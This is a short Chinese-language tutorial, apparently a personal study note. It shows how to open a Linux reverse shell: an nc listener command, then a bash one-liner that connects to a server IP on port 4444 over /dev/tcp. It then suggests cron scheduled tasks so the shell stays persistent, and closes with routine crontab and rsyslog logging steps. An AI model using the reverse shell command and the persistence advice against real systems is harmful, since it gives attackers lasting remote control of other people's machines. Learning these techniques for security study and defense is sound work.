linux基础知识
linux反弹shell命令
监听服务端
使用netcat进行监听端口
1 | nc -lvp +端口号(可任意设置未使用位置) |
反弹客户端
1 | bash -i>&/dev/tcp/服务端ip地址/4444 0>&1 |
1 | -i 用户输入命令进行执行 |
执行完毕后不会进行任何输出,此时监听服务端得到反弹的shell连接。
此时获得反弹服务端的shell,可执行任意命令。但是一旦客户端关闭shell窗口,此时连接中断。为了可持久反弹,可用定时任务。
linux定时任务
1 | 用于设置Linux进行周期性执行某种任务等某些事件的操作。类似windows下 |
在linux下可通过crontab进行计划任务的编写与浏览
1、查看当前用户的定时任务
1 | crontab -l |
2、编辑任务
1 | crontab -e |
也可以在/var/spool/cron目录下 新建用户自定义的文件(以用户名命名),编写计划任务。
对于该命令是否执行,可通过/var/log/cron.log查看日志是否执行任务。
如果没有日志记录,可编辑/etc/rsyslog.conf,将cron前的注释去掉,同时使用命令重启服务
1 | service rsyslog restart |